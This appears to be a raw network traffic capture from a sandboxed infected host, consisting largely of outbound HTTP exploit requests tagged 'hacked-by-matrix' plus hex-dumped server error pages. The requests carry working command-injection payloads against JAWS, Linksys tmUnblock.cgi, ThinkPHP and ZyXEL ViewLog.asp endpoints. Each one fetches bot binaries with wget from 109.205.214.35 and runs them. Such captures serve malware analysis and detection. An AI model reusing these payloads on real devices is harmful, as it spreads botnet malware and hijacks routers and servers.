Mar 21, 2024 05:26:56.045485020 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:55 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Fri, 05 Apr 2019 08:07:13 GMT ETag: "3e6b-585c3f96dbc03" Accept-Ranges: bytes Content-Length: 15979 Connection: close Content-Type: text/html Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 42 41 53 45 20 68 72 65 66 3d 22 2f 65 72 72 6f 72 5f 64 6f 63 73 2f 22 3e 0a 20 20 20 20 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 42 41 53 45 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 2f 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 44 72 6f 69 64 2b 53 61 6e 73 7c 4f 70 65 6e 2b 53 61 6e 73 3a 33 30 30 2c 34 30 30 2c 36 30 30 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 63 73 67 2e 64 65 2f 70 61 63 6b 61 67 65 73 2f 62 69 6e 2f 71 75 69 2f 71 75 69 2f 6c 69 62 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 63 73 67 2e 64 65 2f 70 61 63 6b 61 67 65 73 2f 62 69 6e 2f 71 75 69 2f 71 75 69 2f 6c 69 62 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 76 61 72 20 61 6e 69 6d 61 74 65 57 6f 72 6b 69 6e 67 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 49 74 20 20 20 20 20 20 20 20 20 20 3d 20 6e 75 6c 6c 2c 20 2f 2f 20 62 75 74 74 6f 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 61 6e 64 6f 6d 4e 75 6d 62 65 72 20 20 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 20 2a 20 31 35 29 20 2b 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 64 69 72 65 63 74 20 20 20 20 20 20 20 3d 20 66 61 6c 73 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 4f 70 65 6e 20 20 20 20 20 3d 20 27 27 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 28 27 64 6f 6d 72 65 61 64 79 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 68 65 63 6b 4e 75 6d 62 65 72 28 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 73 6c 69 64 65 72 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 28 27 2e 73 6c 69 64 65 72 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 72 65 61 74 65 45 6c 65 6d 65 74 6e 73 28 73 6c 69 64 65 72 73 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 Data Ascii: <HTML><HEAD> <title>400 Bad Request</title> <BASE href="/error_docs/"> ...[if lte IE 6]></BASE><![endif]--> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1,maximum-scale=1"/> <link href="https://fonts.googleapis.com/css?family=Droid+Sans\|Open+Sans:300,400,600" rel="stylesheet"> <script src="https://www.pcsg.de/packages/bin/qui/qui/lib/mootools-core.js"></script> <script src="https://www.pcsg.de/packages/bin/qui/qui/lib/mootools-more.js"></script> <script> var animateWorking = false, tryIt = null, // button randomNumber = Math.floor(Math.random() * 15) + 1, redirect = false, windowOpen = ''; window.addEvent('domready', function () { checkNumber(); var sliders = document.getElements('.slider'); createElemetns(sliders); var
Mar 21, 2024 05:26:56.045510054 CET	1286	IN	Data Raw: 20 68 65 61 64 65 72 43 6f 6e 74 61 69 6e 65 72 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 28 27 2e 68 65 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 49 74 20 20 20 20 Data Ascii: headerContainer = document.getElement('.header-container'); tryIt = new Element('span', { 'class': 'try-it', events : { click: function () {
Mar 21, 2024 05:26:56.045528889 CET	1286	IN	Data Raw: 64 65 72 73 20 28 41 72 72 61 79 29 0a 20 20 20 20 20 20 20 20 20 2a 2f 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 63 72 65 61 74 65 45 6c 65 6d 65 74 6e 73 28 73 6c 69 64 65 72 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 Data Ascii: ders (Array) */ function createElemetns(sliders) { var box = 1; // sliders.each(function (Slider) { var start = Slider.getElement('.letter').innerHTML.toInt(); for (var
Mar 21, 2024 05:26:56.045550108 CET	1286	IN	Data Raw: 29 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2f 2a 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 41 6e 69 6d 61 74 65 73 20 74 68 65 20 6e 75 6d 62 65 72 73 0a 20 20 20 20 20 20 20 20 20 2a 0a 20 20 20 20 20 20 20 20 20 2a 20 40 70 61 Data Ascii: ) } /** * Animates the numbers * * @param sliders (Array) */ function animate(sliders) { animateWorking = true; tryIt.addClass('working'); var d
Mar 21, 2024 05:26:56.045584917 CET	1286	IN	Data Raw: 72 6b 69 6e 67 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2f 2a Data Ascii: rking'); window.location = window.location.href; } /** * check the random number */ function checkNumber() { switch (randomNumber) { case 5:
Mar 21, 2024 05:26:56.045605898 CET	1286	IN	Data Raw: 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b Data Ascii: column; } footer { margin-top: auto; background: #eee; text-align: center; padding: 4px 10px; font-size: 12px; font-weight: 400; } h1, h2
Mar 21, 2024 05:26:56.045624018 CET	1286	IN	Data Raw: 65 3a 20 31 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 34 30 70 78 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: e: 120px; padding: 40px 10px; line-height: 1em; position: relative; font-family: 'Droid Sans', sans-serif; text-shadow: 2px 2px 6px #2186c7; } .letter-container {
Mar 21, 2024 05:26:56.045758963 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f Data Ascii: left: 0; width: 100%; height: 50%; overflow: hidden; text-shadow: none; color: #ddf2ff; } header p { font-size: 30px; display: block
Mar 21, 2024 05:26:56.045778036 CET	1286	IN	Data Raw: 67 68 74 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 34 39 38 65 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 Data Ascii: ght: 1px; background: #2498e3; opacity: 0; transition: 0.3s all ease-in-out; } a.link:hover:after { opacity: 1; bottom: 0; } footer a.link {
Mar 21, 2024 05:26:56.045795918 CET	1286	IN	Data Raw: 20 20 20 20 7d 0a 0a 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 68 65 61 64 65 72 2d 6c 69 6e 6b 20 7b 0a Data Ascii: } @media screen and (max-width: 767px) { .header-link { left: 20px; } header h1 { font-size: 70px; padding: 60px 0 20px; }

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.23	42724	5.201.215.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:55.979223967 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:56.713664055 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:58.189632893 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:01.290452003 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:27:07.175534964 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.23	58114	98.96.231.27	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.035578966 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.23	34818	172.67.102.24	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.123580933 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.23	54934	172.67.118.127	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.123656034 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.23	52974	88.99.96.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.182157993 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:56.356821060 CET	335	IN	HTTP/1.1 400 Bad Request Server: Microsoft-IIS/7.5 Date: Thu, 21 Mar 2024 04:26:56 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.23	56064	82.165.187.109	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.201642036 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.23	51532	80.54.94.130	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.225066900 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.23	45558	213.125.192.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.236098051 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:56.430520058 CET	701	IN	HTTP/1.0 404 Not Found !!! Pragma: no-cache Content-type: text/html WWW-Authenticate: /cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 63 65 6e 74 65 72 3e 0a 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 31 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 20 77 69 64 74 68 3d 22 31 30 30 25 22 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 30 30 30 30 41 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 66 61 63 65 3d 22 41 72 69 61 6c 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 21 21 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 20 20 3c 74 72 3e 0a 20 20 20 20 3c 74 64 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 62 67 63 6f 6c 6f 72 3d 22 23 46 33 46 33 46 33 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 3d 22 23 30 30 30 30 38 30 22 20 62 6f 72 64 65 72 63 6f 6c 6f 72 64 61 72 6b 3d 22 23 30 30 30 30 38 30 22 3e 0a 20 20 20 20 3c 70 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 22 54 69 6d 65 73 20 4e 65 77 20 52 6f 6d 61 69 6e 22 20 63 6f 6c 6f 72 3d 22 23 30 30 30 30 30 30 22 3e 0a 20 20 20 20 3c 73 74 72 6f 6e 67 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 66 6f 6e 74 3e 3c 2f 74 64 3e 0a 20 20 3c 2f 74 72 3e 0a 3c 2f 74 61 62 6c 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>404 Not Found !!!</title> </head><body><div align="center"><center><table border="1" cellspacing="0" width="100%"> <tr> <td width="100%" bgcolor="#0000A0"> <p align="center"><font color="#FFFFFF" face="Arial"> <strong>404 Not Found !!!</strong></font></td> </tr> <tr> <td width="100%" bgcolor="#F3F3F3" bordercolor="#000080" bordercolordark="#000080"> <p align="center"><font face="Times New Romain" color="#000000"> <strong>The requested URL was not found on this server.</strong></font></td> </tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.23	34492	213.14.223.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.260941029 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.23	53106	98.201.154.121	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.278966904 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:57.035535097 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.23	47074	213.211.103.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:56.280867100 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:57.641544104 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:26:57.931061983 CET	29	IN	HTTP/1.1 200 OK
